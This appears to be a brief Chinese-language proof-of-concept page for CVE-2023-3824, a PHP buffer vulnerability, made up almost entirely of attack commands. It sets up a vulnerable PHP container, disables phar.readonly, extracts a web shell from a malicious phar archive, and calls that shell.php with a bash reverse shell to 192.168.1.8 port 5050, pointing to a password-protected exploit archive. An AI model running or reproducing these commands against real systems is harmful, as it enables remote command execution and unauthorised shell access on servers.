CVE-2023-3824 PoC — PHP 缓冲区错误漏洞

介绍

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash
echo "phar.readonly = Off" >> /usr/local/etc/php/php.ini

http://localhost:8080/shell.php?cmd=bash -c 'bash -i >%26 /dev/tcp/192.168.1.8/5050 0>%261'

php -r "\$phar = new Phar('exploit.phar'); \$phar->extractTo('./', 'shell.php');"

exploit.zip
  pass: infected

文件快照

备注